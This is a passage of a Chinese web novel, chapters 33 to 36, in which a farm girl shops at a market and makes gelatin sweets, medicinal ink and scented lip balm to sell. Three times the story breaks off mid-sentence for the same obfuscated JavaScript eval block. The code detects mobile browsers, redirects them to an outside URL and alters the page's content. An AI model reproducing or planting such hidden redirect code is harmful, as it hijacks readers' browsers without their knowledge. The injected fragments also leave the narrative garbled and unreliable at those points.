索性五月里村头抽不出恁多劳力来帮着摘花，瑛娘借着抄书的空闲又歇了两旬。 待得抄完这两本，田间事儿少了些，瑛娘才出钱叫村人陆续上山去采那白玉堂。 白玉堂属蔷薇科，香气沁人，只比槐花少了几分甜意。 且白玉堂极好养活，折其枝扦插、或整株带土移栽都能成活，村头那些脑子活的便挖了些来往家外随意种了种，待得来年开花，也不必再麻烦得满山去摘。 今年摘来的白玉堂整合约摸花去瑛娘二百文钱，将将蒸出一百瓶香露。 这回瑛娘没再拿了香露熏染衣裳，齐齐装入箱笼，待得七月再与章文德送去。 香露备好，瑛娘才算真的闲了，每日逗弄小侄儿，时不时歪缠小林氏丢下孩子去掌厨，亏得小林氏也是个脾性好的，才没叫她走远些去。 徐氏也是被歪缠惯的，看不过眼便替小林氏赶人：“瑛娘，你就这般闲着？不再找些事儿来做做？” “三四月里我是忙够了，这才歇歇。更何况我也没闲着，这不还带着小侄儿吗？奶怎还不允了？” 瑛娘自是有理，“哦哦”与小侄儿逗耍。 一、两个月大的孩子还不会出声，也没长牙，咧着个嘴跟个小老头似的，瑛娘看得直笑，横抱着小侄儿掂了掂，逗得他也笑眯了眼。 “……”徐氏踏碓不停，登时翻了个白眼，与瑛娘没个好气，“你奶不也打年跟前儿忙到现在还没空歇？你且歇了两三旬了，还不够？” 小满之后，稍一动弹便觉暑气入体，瑛娘不大受得住热，只觉每日绵软，自然不想费劲儿忙活。 不过歇够了，也没得别的书可看，瑛娘犟嘴归犟嘴，却也放了小林氏带着孩子躲回屋里，琢磨着该做个什么才好。 昨年秦老爷送的江米还有许多，可作粽子、糍耙。 粽子瑛娘更喜咸口，加咸蛋黄、熏肉咸菜都成，而糍耙则配黄豆粉和红糖吃着更为香甜。 咸蛋黄可用薯粉加盐调和腌制，黄豆粉也不难做，生豆炒熟磨制过筛即成，就是江米打成糍耙需要费些力气。 打糍耙需得提前将米泡上十二个时辰，之后蒸熟、趁热舂粘，反复擂打出丝才算好。 打好的糍耙裹上一层麦粉切块阴干，再刷上一层山茶油以延长可存放的时间，如此做来的糍耙吃也方便，架上火堆一烤，淋上红糖汁，撒上黄豆粉，入嘴便是热烫烫的浓香。 33. 农集 说做就做。 家中有踏碓，舂江米也废不上什么劲。 瑛娘泡了江米叫云氏蒸熟了去舂，自个儿则从二房拿了些生豆来炒。 炒熟的黄豆干吃着也香，瑛娘抱了手摇石磨来边吃边磨，玥娘、汪连看得也馋，以劳力换得一把，也吃着与瑛娘卖力磨豆，一日磨来，两个小的也是叫不支声儿了。 磨好的豆粉先装陶罐存备，待得糍耙阴干，瑛娘才缠了小林氏来烧兔子，顺便架上一圈糍耙同烤。 诸事齐备，自然少不得叫徐氏拿了先头买的红糖来熬汁儿，徐氏虽口头怪着瑛娘“颇费钱”，回屋拿糖的动作却不见慢。 临了晚间，一家子围着火堆吃闲食，难免也说起了家里头的事儿。 “小老三不是相看好了？说定什么时候过采没？” 说起人生大事，平日厚脸皮的汪辰也不禁红了脸，也就这会儿火气熏着人显不出，他才没叫人看了笑话。 不过这种事儿也轮不到他开口，自有陈氏来与家里说。 “方屠户一家子都是爽利人，两个小的没意见，也就先叫先生帮忙看了日子，六月十四过采，十月初八迎进门，我也琢磨着这几日跟家头说，好叫爹娘知晓。” 汪木匠和徐氏先头也算过日子，不过不知女方八字，也就算了个大概，既然那头已经请了先生看过，这两日定了也就成了。 “过礼可都准备好了？” 方家可不是十里八村的农户，过采自然不能备得像之前相看那个闺女那般薄。 且三房如今攒了不少钱，估摸着也能算到公中有多少，陈氏便盘算着与徐氏商量，过采的布匹都用昨年染好的棉绢，点心也换成城头二百多文一笼的好货，至于礼钱么……不好越过小林氏，但她自个儿出钱贴补贴补，送一对几两的银镯子也行。 陈氏心头打着算盘，扭头又看瑛娘去。 她可是听着二房的得意好几回了，说瑛娘为着以后大房日子好过，给二房长孙送了厚礼，可她却觉着瑛娘不是那般小气的，将来她有了长孙，瑛娘该也不会厚此薄彼。 不过这话可不好当着一家子的面儿说，免得叫瑛娘恼了，还怨她把话说破。 如此想着，陈氏便也收回了视线，乐呵呵与徐氏商量去了。 徐氏自然觉得可行。 跟屠户结亲，将来想买个好肉也能叫提前叫他家帮忙留一留，还有老徐家卤货的营生也少不得跟屠户家往来，虽不至于便宜相送，但总归不会叫那些把这法子学去的人抢先买了去。 不过陈氏愿意自个儿贴补，徐氏也不会傻得拒绝，不然开了先河，以后四房两个孙子可不好办了。 “你自个儿有数就成。” “行，那回头过礼，娘也一起去呗？” 徐氏可不想再把手头的活儿耽搁了，闻言摆了摆手，只道：“过礼有你们做爹做娘的去就成，来日多的是见面的机会。” “好。” 瑛娘见两人商量完，忽而记起过采的礼除了布匹、点心外还得备上一双鹅，便拉了陈氏，问：“三婶，鹅打哪儿买？我没瞅见过咱村里谁家养了鹅。” “鹅得去农集买，咋啦？你想吃鹅啊？” 瑛娘好吃可叫一家子看了个清楚，她这一问，陈氏便猜她是馋上了，憋着笑瞥了徐氏一眼，见她没吱声儿，也不禁砸吧了两下嘴。 鹅肉紧实，加了腌菜、大酱，一锅炖来好吃得紧。 瑛娘确是想吃，不过她问这话却不光是为了吃鹅。 只前几回去城头，她拢共只进过农集一次，且那次去时候太晚了，农集里头能买着什么稀罕物她也没瞧见。 眼下她闲来遭嫌弃，倒不如去农集看看，若能寻得个什么稀罕物，买来琢磨琢磨，吃也好、做也罢，总比日日闲得逗小子玩儿好。 说进城，瑛娘也不好空着手去。 拿了徐氏的篓子，装了点刷过油的糍耙，再备上一小罐黄豆粉，好叫章文德拿回家去熬个红糖汁淋着吃了尝尝味儿。 章文德确是没吃过这等小食，还欲与瑛娘多聊几句，却见她频频往外看，只得按下，问她可有别的安排。 瑛娘点头，道：“想去农集看看热闹，章叔可知农集有哪些稀罕物？” 章文德也常去农集寻摸，铺子里最初代销的东西多就是他从农集拉来的买卖，瑛娘一提，他便也来了兴致，“瑛娘稍候，我与你同去。” 铺子里自有伙计看着。 “行。” 农集早市才好寻摸好物。 这日没得耽搁，瑛娘自然赶上了趟。 入集便是方屠户的肉铺，眼下忙得很，瑛娘便懒得去打招呼，一路行至内里，见摊位有序，来往者自能随意挑选，热闹处还有役卒巡护，心头对丰县衙署的能力也有了新的认知。 听闻如今丰县县令乃公主家令出身，自公主禄地分拨，他便得了恩典脱籍科考，得当年恩科首榜红名，自请为公主禄地下属地县令。 县令有能力，丰县居众日子也好过。 瑛娘略过典粮的农户不看，一路逛来，倒是瞧见了几样稀罕物。 一为胡麻，一为落花生，还有打夕山摘来的浆果、猕猴桃、炮制过的野猪皮、编织细密的竹编筛。 胡麻和落花生做吃食、佐料都很不错，也能用以榨油，可惜卖这两样的是城头的居民，只在自家院子里随意栽种了些，拢共收了十斤芝麻、二十斤落花生，叫瑛娘花了二百六十文包圆了去。 浆果、猕猴桃、猪皮、竹编筛则都是夕山猎户带来典换粮食、糖、盐及布匹的，瑛娘花二十买了浆果，四十文买了猕猴桃，又花三十五文买了两个一尺半宽竹编筛，才与猎户聊起了别的。 “下回可能打些猕猴桃藤来？我论斤与你买，两斤并作一文钱。” 猕猴桃乃夕山较深处才可见的野果，猎户不懂那藤能作何用，倒是劝了一句，“那藤插不活，你若爱吃这桃，下回我多摘些来就是。” “桃藤能作它用，阿叔只管打来就是。” “成吧，那……我哪日来？又打哪儿找你去？” 瑛娘心知这猎户是怕自己要了东西却不买，索性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978960|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给了十文做定金，“我七月下旬会来，若日子不巧没碰上面，阿叔可去东市档口的面摊子找汪辰，他自会帮我结钱给阿叔。” 猎户这才笑呵呵应下。 “对了，阿叔这竹编筛是自家做的么？” “是我媳妇儿的弟弟闲时编的，用着倒是比寻常的筛子更好使。” 这竹编筛并非整根儿竹条编织，而是撕了竹筋取竹丝编织，所以其孔细密，可筛粉绒。 此前瑛娘所制常需过筛，为保粉末细腻，需得反复多次才成，有了这筛，起码筛取粉末时无需再费更多时间。 而瑛娘打听竹编筛出处，却是为着与人定制抄纸竹帘。 寻常细筛难以抄纸，瑛娘本以为外头的普通匠人做不来这等精细的工具，结果能人辈出，倒是猎户家自个儿用的都是这般好物。 “阿叔送猕猴桃藤时不若叫上另一位阿叔一起，我有东西想托那位阿叔帮忙做。” 猎户却面露难色，半晌才道娘家弟弟有些不方便，“我那弟弟看得懂图纸，小娘子可有图纸叫我弟弟照着做？” 图纸瑛娘会画。 可她制纸只为便利生活，没那扰乱纸业市场的雄心，抄纸竹帘的图纸一旦泄露出去，叫掌着制纸方子的权贵知晓，却是不好解释了。 搞不好九族全诛，得不偿失。 倒是难办了。 因着停留这许久，章文德也拿了猎户炮制的猪皮子细看，索性也买了，准备拿回去叫人做成皮囊子用。 眼下见瑛娘与猎户陷入难调的局面，他免不得插话，“这曾猎户我还算熟，他小舅兄也放了东西在我那处代销，那图纸可是不能泄露？不若我与你们作保？” 可瑛娘也不能与他直言自己要做的东西是纸，只摇了摇头，打消了与猎户详谈的念头。 “那这农集里头，瑛娘可还有想买的？” 瑛娘笑着摇了摇头，只道：“我想再去驴市看看。” “想买驴？” “对。” 但瑛娘想买的却不是那等劳力驴。 受猪皮子启发，她才想起阿胶是驴皮熬制的。 阿胶虽不至于多养人，但于身体亏空者而言，补个三四分也算不错。 只是纯阿胶单吃也不爽口，所以瑛娘打算直接加红枣、胡麻、山核桃合锅炒制成阿胶糕，平日无事，家中女眷偶尔吃上一片也算温补。 章文德一听便知她要熬阿胶，只是驴市只卖劳力牛、驴、骡，那等病老待宰的通常都是官府回收，可没得叫普通人随意买去吃的便宜。 “你若想熬阿胶，最好是与猎户买野驴，只是野驴不多见，那曾猎户前两年倒是卖过一回，可这两年也没见着别的动静。要么去药房买炮制好的，就是不知价格如何。” 药铺炮制的驴皮自然也是熬胶入药的，寻常去买价格肯定低不了，不过自个儿吃的东西，贵些也就贵些，索性再买些后头要用的东西，一并买来指不定还能得些让利。 “多谢章叔，回头熬好了，与你一些送婶婶吃。” “成。” 34. 话本 于此世八、九月，瑛娘约摸也看清了哪些行当能碰、哪些暂时不好展露——纸业被权贵把控，是万不能贸然插手的，而笔、墨常有大家制作，没闯出名头前，做工、用料再好的笔墨也卖不出好价。 但，好墨不怕久。 药墨既能书写，亦能止血行淤、愈外感时疫。 章文德与西市商行有关联，瑛娘便打算先做些药墨来叫他拿去送人，只待打通关节，来日将汪文、汪武塞进商队做学弟，一步步积攒人脉，总有能叫她所制好物名传千里之外的一日。 而制药墨，需得八宝五胆至少二十二味药材。 松明烧松烟，熊胆、青鱼胆、猪胆、蛇胆、牛胆，水牛角、羚羊角、麝香、冰片、珍珠、蟾酥、牛黄、朱砂、川芎、藕节、红花、小蓟、大蓟、白茅根、夏枯草、牡丹皮、丁香分别熬成两锅药汁，再以药汁熬胶，加胶水和松烟擂打至完美融合，戥子量重，入模具重压定型，阴干即成。 制药墨说来容易，耗费人工、时间却极多。 取松烟只得上层烟，攒上一斤少说需得一旬，而松烟滤纯之后也得放置三旬阴干再制，其后熬汁一日、擂打三日、入模两日，二十旬才得以阴干成锭。 擂打融墨不可加水，需以茶油润墨，其间不得间断，所耗人力言语不可描述。 如此算来，一斤药墨所用药材成本就得十三两之多，再计人力、时间，少说得卖个五百两才算挣得着钱。 但东市书肆最贵的墨一方售价也才一两金，兑成银也不过二十一两。 而当下药墨药用并不广泛，她这一斤药墨若是直接拿去分成十方卖个一方二两金，指定没人愿意买账，所以瑛娘便重新打上了脂粉生意的主意，打算从这一行当挣钱来补齐制作药墨送人的亏损。 有章文德在，药铺掌柜也愿意给瑛娘面子，配齐药墨方子所需药包，又以三两的低价抓了甲煎口脂所需药包与她。 甲煎口脂需数种香料。 其中甲香、丁香、藿香、沉香、苏合香、熏陆香加大枣入蜂蜜炮制蜜罐。 茅香、零陵香、甘松粉以黄酒浸泡一夜以胡麻油煎香，捞出香叶，滤去残渣再煎，煎至水干，再浸香叶入油罐，以双层细布覆盖封死罐口。 由此，蜜罐倒放于油罐之上，二者口隙之间覆纸浸湿，以麻绳栓死，合罐以稀泥裹口再封，以糠裹碳隔土焖烧三日，取碳退火两日，才可开罐滤香油。 如此滤出的香油也称蜜合香，蜜合香可入香炉熏染，其香悠长却不沉重，最适合书房清香。 三两的药包约摸能出两罐蜜合香，瑛娘打算只取其一制口脂，另一罐则借章文德送给他东家公子混个脸面。 而药包之中还有一味紫草，化蜂蜡煎至色浓，滤去浮渣，加入蜜合香冷却凝固，闻有幽香的甲煎口脂便做成了。 时下女子涂口脂常以指腹轻抹，为着方便，瑛娘还需去西市瓷器铺子买些现成的广口瓷瓶来装。 至于所需大枣、黄酒、蜂蜜、蜂蜡、油纸，杂货铺子里倒是都有得卖，章文德自是与她算了实惠价，一路帮她拎着三两买来的驴皮从药铺出来，顺道又去点心铺子花了七百文钱买来炒制过的山核桃。 “倒是不知你买这些要做个甚，我瞅着不像只做一样？” 花自己挣来的钱总是快乐的。 瑛娘笑着点了点头，只道：“总归做出来都得叫章叔过个眼，届时你自然知道了。” “成吧。” 这一路买来便去了小半日，章文德今日也算得了实惠，自然少不了请瑛娘一顿好饭，回杂货铺子存放好东西，两人便径直去了坊市与西市想接处的酒楼。 这酒楼是罕见的三层小楼，章文德给了银钱，直接带着瑛娘上了二楼小间儿，一间儿摆了三张桌，人少时也勉强算得一个包间儿。 瑛娘腹中空空，倒也没与章文德客气，两人无声吃了一阵，章文德才放下筷箸等瑛娘扫尾。 瑛娘吃得也不慢，放下筷箸便有些羞怯，“叫章叔看笑话了，我还是头回吃上这般精致的饭菜。” 章文德“哈哈”一笑，“瞧着你采买时舍钱的模样，可不像没吃过好东西的样子啊？” “那都是家里头用得上的，怎能跟吃进自个儿嘴里的一样？” 章文德可没忘记最初见着瑛娘时，她拿来典换的琉璃珠，只笑了笑，不见得当真，转而另提一事。 “上回签了契，我将契书送与东家，东家瞧你字好，还问我能不能帮着求一幅墨宝。如何？可愿写一幅字，叫章叔拿去做脸？” “章叔莫不是帮我吹嘘了？叫东家知晓我不过是一个十二岁的小娘子，那字可不得叫人拿去烧了？” 章文德忍不住又是一阵大笑，“倒是叫你误会了，我这位东家为人最是淳善厚道，整个儿丰县论来他也当得第一，签契时我便与他说过你。” 东家厚道方可笼络人心。 瑛娘本就有心借章文德与其东家往来，确定他所言求字属实，便也应了他的请求。 西市有书坊，章文德便没往东市去买纸，直接在书坊买了卷轴，好叫瑛娘挥毫。 送与东家，所书用词需得考量。 以章文德描述，这位东家该是个和善的长辈，瑛娘琢磨片刻，考虑到自己的身份和年纪，最终选定“谢尽浮名更无事，灯前儿女话团栾[注1]”，在心头默了两遍，提笔书于纸上，落款“苦禅”。 瑛娘的字一气呵成，章文德看得心潮起伏，久久不能平息，再看落款却是不能解其意，“怎么是苦禅？” 最初用“苦禅”是为甚？ 瑛娘想了许久，记起那一世“自己”出生于禅学世家，然禅学晦涩难懂，她又是初识字的盲流，每日辰课最痛苦的莫过于生记禅理，长辈嫌她愚钝，赐号“苦禅”，久而久之也就用惯了。 之后与好友通信，“苦禅”成了她的别号，其后制墨也以此为铭。 但这经历不可说，念及仓里藏着的墨锭，瑛娘只得将这别号认下，“却是随意想的。送给东家的字，总不好留下我姓名吧？” 书法大家的墨宝总有别号印章，章文德只当瑛娘小孩儿心性，“哈哈”笑过，便将晾干的卷轴收了起来，“那回头可得请东家拿给公子看，也好叫他猜猜这字出自谁人之手。” “常听章叔提起东家公子，却是不知公子如今年岁？” “约摸十六，今年秋就要下场应试，若无意外，来年便可去府学读书了。” 潭徽书院只是丰县县学，其中学子多为童生，待得考取秀才之名，方能得荐书前往府学就习。 十六岁的秀才并非寻常，想必来日成就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984254|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可估量。 “公子大才。年终家里出了好墨，瑛娘一定送来，好叫章叔拿去送与公子以贺高中。” 用与不用，且由那位公子自个儿决定去。 “成！” 章文德心得意满，抱着卷轴要走，瑛娘却只跟了两步，驻足于书架之前。 “瑛娘想买书？” “嗯。” 东市书肆所售书本多为抄录，西市书坊所售却多为书院印制。 瑛娘舍得买书，但当下学子所习四书五经于瑛娘而言并无多大用处，因此便只选了一本《梦溪游记》、一本《考工记》。 “诚惠，二十两。” 仓里分好的碎银却是不够给书钱了，瑛娘只得借着遮挡取了一锭五十两的元宝，叫伙计找回碎银。 扭头又见书坊一角的平头案上摆了几本白皮新书，便问：“那些可是学子抄的？” 伙计麻利答道：“是也不是，娘子只管看看便知。” 能翻阅，瑛娘自然不会客气，上前取了书本翻看，读过几行，才知这些书都是书坊私印的话本。 瑛娘曾看过闲书无数，如此背景下的话本却从未看过，当即准备掏钱买下一本，却叫书坊伙计提醒，这话本分上、中、下三册。 还是本长篇。 话本一册五百文，一套算来对比正经书册却是有些贵了，瑛娘犹豫，却是抵不过心中好奇，耷拉着肩掏钱买了一套。 待得离了书坊，瑛娘才叹了口气，与章文德笑言：“待我看过，这书怕是得叫章叔帮着代销。” 章文德看得好笑，“读书人只会藏书，倒是不知瑛娘师从何等有趣之人，看过的书也教你往外头卖？” 瑛娘哪有什么正经师从？只道自己胡乱学的，全靠天分使然。 “且这书也不是什么正经书，看过也就罢了，总不好留下来给后代看着耍。” “你能看，怎么后代子孙却不能看？” “我有天分，他们却不见得如我。” “哈哈哈哈！” 二人说笑着回了杂货铺子，瑛娘却是不好再耽搁，取了东西便叫了脚夫背去档口。 面摊子早两刻便卖空了，陈氏不知瑛娘何时回，便自个儿去买了三只大鹅，叫汪辰在档口等， 等得瑛娘归，陈氏也拎着鹅回来，连忙将鹅栓好塞进筐里，催促汪辰赶车回家去。 不止陈氏想与方屠户家做脸，汪辰也想叫方小娘子欢喜，临了出城，却是非得赶着空闲去布行买新布，好叫瑛娘闲来染色。 瑛娘也有别的打算，索性也掏了钱来买了两匹丝绢。 汪辰看瑛娘掏钱看得肉疼，琢磨着自己攒的钱也只够买一匹棉绢的，但心念一转，干脆缠着陈氏掏钱，也买丝绢。 陈氏当着外人的面不好敲打汪辰，好在眼下手头宽裕，咬了咬牙，这钱也就掏了。 “成了！赶紧回吧！再不回我可没钱再掏来给你花了！” “娘，说这作甚？难道媳妇儿不是你催着娶的？” “什么叫我催的！你不点头我催有啥用？” “成成成！可别再说了！叫瑛娘听去，来日给你儿媳妇告状！” 瑛娘哈哈大笑，“三婶别再说了，我可不保来日三嫂与我好，我能藏得住话。” “……” 35. 蚊虫 夕山外围就有大片松木，其中油松不难寻。 制墨得先烧木去灰，炖了鹅吃，英娘便支使汪木匠帮她找人上山取松明。 松明劈作一臂粗，陶缸去底倒扣于上，垒上三五层，待松明燃烟，取其上层烟灰入水洗去浮尘，再捞起置于纸上，放置室内无风处阴干。 瑛娘怕天气骤变，还叫徐氏单独给她腾来一个屋子放烟灰，也亏得老汪家屋子建得宽才支展得开。 扫烟灰的活计不难，但每每取灰都能扑人满面，汪文、汪武两兄弟看得发笑，叫瑛娘恼羞成怒，直接拎了两人来代工。 “妹妹还给开工钱不？” “不开！” “……” 不开也得干。 有人代工，这一旬来，瑛娘便腾出手制阿胶糕。 炮制过的驴皮需得先活泡七日。 大王村的河道自上湾村蜿蜒而来，整村用水除了单开的井便靠这条河了，恁大一张驴皮日夜泡在河里极不安全，徐氏忧心不已，恨不得日夜在河边守着。 瑛娘哭笑不得。 三月摘槐花、五月摘白玉堂，村人虽多有闲话道，但拿了钱办事，闲话也不好明着说了，瑛娘不觉得这整村的人都坏了心眼儿，知道这驴皮价值还动歪心。 偏徐氏知道这驴皮是花三两银买来的，愣是守了两日才撑不住回了家，蒙头睡了一觉，忙活自个儿的去了。 活泡七日，村头确是有人因着这驴皮传了闲话，不过丰县县令奉刑律极严，三两足够量刑，便是游手好闲的流氓也不敢动。 泡好的驴皮易切，但整张皮切来也很是费劲，云氏与何氏轮着帮瑛娘切了又焯过水，才叫瑛娘自个儿架了柴堆在院角里熬制。 熬过一遍驴皮便已软烂，滤出驴胶后又加水复熬两次，整合胶汁儿，再入锅熬至挂旗，加红枣、山核桃、糖、胡麻翻炒和匀，起锅入模压制定型，静置一夜，待胶凝固，便能切片装盒。 整张驴皮熬来三斤阿胶糕，刚好分三盒装好。 做好的阿胶糕不宜久放，瑛娘还有甲煎口脂要做，便拿了一盒叫汪辰帮忙送去了杂货铺子。 余下两盒，一盒拿给徐氏，叫她分给各房吃着耍，另一盒叫云氏分了分，自个儿留了些，也与琼娘和瑾娘送了些去。 阿胶糕分完，汪文、汪武也取好了松烟，刚闲下来，又被瑛娘支使着在院里开地。 打农集买来的胡麻拢共十斤，阿胶糕用去两斤，还得预备五斤提炼胡麻油，余下三斤瑛娘打算拿来作种。 只是院里还种着时蔬，一同买来的落花生却是没地可种了。 大王村没得多的田地可买，家里的四十亩也不好叫她单拿来种东西，瑛娘琢磨着来年还得问问附近何处有地可买，若实在没有，买两亩荒地开来养肥了再种也不错。 种过胡麻，瑛娘着手提炼胡麻油。 胡麻洗净沥干，入锅炒出油香，再经石磨磨碎成粉，所得胡麻粉复磨成泥，入锅熬煮，待泥成浆，以吊杆摇桶取上层浮油，此为水代法。 水代法出油率仅有四成，五斤胡麻炼得二斤油，在胡麻种出来前，瑛娘轻易是不敢拿来吃的。 不过甲煎口脂也用不了那许多，瑛娘分装了一斤藏入仓内，另一斤则存在陶罐里备用。 一斤胡麻油能做三十瓶口脂，待得几日做成，瑛娘才分出心思来与口脂定价。 以戴娘子香膏为准，用料如此精细的口脂不宜定价过低，盘算着还得填补药墨的成本，瑛娘才定下了一瓶二两银的售价。 但她还与戴娘子做着香露的买卖，这口脂倒是不好由她去坊市街头叫卖，偏偏家里头也没个能搭手的女眷，瑛娘只好找了汪辰打听那位还未进门的三嫂。 方小娘子今岁十六，因着家中做着屠户营生，性格倒也不算沉闷。 汪辰也只粗略见过方小娘子几次，闻言也不好替她接下瑛娘的活儿，只道：“蕙娘性子倒是活泼，但我也说不准她愿不愿意帮你去卖那什么口脂。” “明日三哥不是要去过采？得空帮我问问三嫂，若她愿意，届时你将口脂与她送去，卖一瓶抽一百文利。” 算得总利，便是汪辰也忍不住倒吸了一口气。 一瓶一百文，三十瓶可就三贯了！ “你倒是大方！若蕙娘不愿帮忙，这三十瓶我帮你卖也成吧？总归能卖出去就是！” 瑛娘觉得无所谓，点头应了，“三哥卖也成，但三哥毕竟是哥哥，总不好收妹妹恁高的利吧？一瓶便抽个三十文，成么？” “……” 能不成吗？ 他若抽多了，奶怕是第一个不答应。 此事说定，瑛娘便由着汪辰去做了。 汪辰也没歪心，好说歹说叫方小娘子答应下来，也算帮她挣了一份还算不错的箱底银。 口脂事毕，瑛娘又歇了两旬，待松烟阴干才重新架起柴堆熬制制墨所需的药汁。 八宝五胆需分三次熬制。 胆汁、药汁分别熬好，再整合入胶，一锅熬煮，挂旗为佳。 筛好的松烟加入挂旗的胶汁和匀，以斧横面反复捶打三日，其间抹山茶油防干，待得烟、胶融合，戥量入模压制两日，才铺油纸放置阴干。 打墨费力，瑛娘不好叫汪文、汪武做白工，自取了二两与他们分去。 墨锭制好，与章文德定好送香露的日子也不多远。 瑛娘本意歇个两日便与他送去，结果这时节突然冒出许多蚊虫，烧艾都驱不散，扰得她夜不能寐，晨间根本起不来床，气急之下又拉上汪文、汪武去山头寻摸。 但驱虫草植夕山外围并不常见，唯独一味木姜子生长繁茂。 木姜子味似香茅，但更多一分辛凉，单独闻来十分清爽，合聚一捧却有一种浓烈的麻。 夏日衣被轻减，一夜来，瑛娘满胳膊都是蚊虫叮咬的疙瘩，索性心一横，折了数十支枝条，摘取木姜子以制香露的法子蒸了些木姜子油。 木姜子油一熏，屋内蚊虫顿时少了许多。 可惜味道浓郁，几日熏来瑛娘的衣裳便全渍了味儿。 她倒是闻惯了，结果一进城来就叫那倒霉的书生闻了个正着，扑鼻的辛凉叫他猛打了一顿喷嚏，好悬才眼尾红红地停了下来。 不甚撞了人，瑛娘本来很是内疚，谁知见其面目，又见他一脸窘迫，惊艳之余却是忍俊不禁，当下便笑出了声来。 亏得两人站在杂货铺子里，才没叫外头的人看了热闹。 “抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990153|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歉，这几日熏了香，叫公子受罪了。” 书生被笑得面红耳赤，掩着口鼻摇了摇头，“无妨，是我闻不得这味道。” 章文德本在里间儿盘点，听得声音，连忙放下手头的活儿出来，见书生窘态，瑛娘又笑个不停，才与二人介绍，道：“这回倒是叫你们碰着了。瑛娘，这位公子就是我东家公子。公子，这位就是与铺子香露代销的汪小娘子。” 瑛娘有些意外。 偶然相见三次，这书生所着衣物、配饰都极为普通，丝毫看不出其商行少东家该有的富贵，难免叫她以为他不过一介布衣学子，谁知这人不仅家境优渥，学识也算渊博，倒叫她不好轻薄了。 “东家公子安。” 书生退了两步，拂去身前残留的辛香，闻言也是面露惊讶。 槐花香露味道浓郁，他虽不大喜欢，却也知其销况如何。 小小一瓶香露，汪小娘子只卖一两银。 章叔却大胆些，转手便要东市点心铺子、西市香蜜阁十两。 而他爹更甚，挪了二十瓶叫商行送去府城，一瓶便卖得二两金。 除却香露，这小娘子还送了彩墨、阿胶糕与章叔，叫娘和他皆受其惠。 此前却是听章叔说，这位小娘子不过普通农户，只家中长辈颇有几分本事，现下一见，观其身正目明，却不似那等普通教养的农家女。 思绪万千，转瞬即逝，书生拱手一揖，也与瑛娘问了一声好，才道：“某还有事，便不耽误汪小娘子与章叔谈事了。章叔，我便先走了。” “公子慢走。” 端是神仪明秀，朗目疏眉。 可惜门不当户不对，往后怕是只可远观了。 待得书生走远，瑛娘遗憾地收回了视线，不着声色避过章文德的打量，放下背篓叫他取香露。 “章叔看看这旬的白玉堂。” 章文德倒没觉得瑛娘是对东家公子有所觊觎，当即拿了一瓶香露，揭盖浅嗅，又以指腹沾了一滴细细品尝。 白玉堂芳香馥郁，滋味微甜，便是章文德也觉得一两银是亏待了瑛娘，但契书已定，章文德一介商户也不好自食其言，与瑛娘赞了句“好味”便取了箱笼来，将九十九瓶香露码得齐整。 “瑛娘，这香露可能多制些？” “却是不能。只这些便叫整村儿得闲的村人一同上山采摘了，再多些怕是得去夕山深处才有。” 夕山深处寻常人很难出入往来，便是曾猎户那等经验老到的猎户，每去深山也得顾着自个儿保命，哪有空闲帮忙摘花？ “对了，你不是与曾猎户买了猕猴桃藤？” “是，稍后便去农集找他。” 曾猎户近几日都未与汪辰联系，今日进城，瑛娘正好自个儿去农集看看，若能碰上最好，碰不上也无所谓。 “成，不耽搁你做正事儿。” 瑛娘背着空背篓去了农集，曾猎户却是遍寻不得，与农集常在的人打听，却是自六月初至今，曾猎户都未曾再来。 瑛娘心道：一个猎户不至于为贪那十文定钱连正经营生都不做了，而章文德也大可能看拐[注1]，兴许有什么意外，再多等等也无妨。 只得离了农集，去与戴娘子送香露。 36. 疯抢 戴娘子亦觉白玉堂更适合添制香膏。 上回的槐花香露，戴娘子用以制得新的香膏，提价至一两银也卖得叫人疯抢，且不出一旬便卖了个干净，其后又听说西市香蜜阁那头新出了槐香蜜膏，更是卖到了二十八两银一扣的高价！ 这回有了白玉堂，戴娘子估摸着自己卖个二两银应也有人要，因而忘了先头的愁绪，给了碎银，又取来一扣槐花香膏与瑛娘，笑道：“你拿去用着，下回再与你留白玉堂香膏。” 香膏本钱重在香露，瑛娘也未与她客气，收下香膏才问道：“先头来时，似见戴娘子为何发愁？” “却是些买卖小事。” 此涨彼消。 槐花香膏卖得越好，她摊子上的其他脂粉便越显粗劣，常买香膏的娘子不管寻常用用亦或打赏婢子，还会将就着买些，可自打坊市街头来了位方小娘子后，那些娘子便愈发嫌弃她做的脂粉，不肯再往自个儿身上使，而再宽厚的娘子也不会日日奖赏婢子，她摊子上的脂粉自然也就滞销了。 幸而方小娘子卖的口脂只有二三十瓶，听着似是卖完了也就没了，便是那些娘子再加价亦是无法。 “听戴娘子说来，那口脂也抢出了高价？” 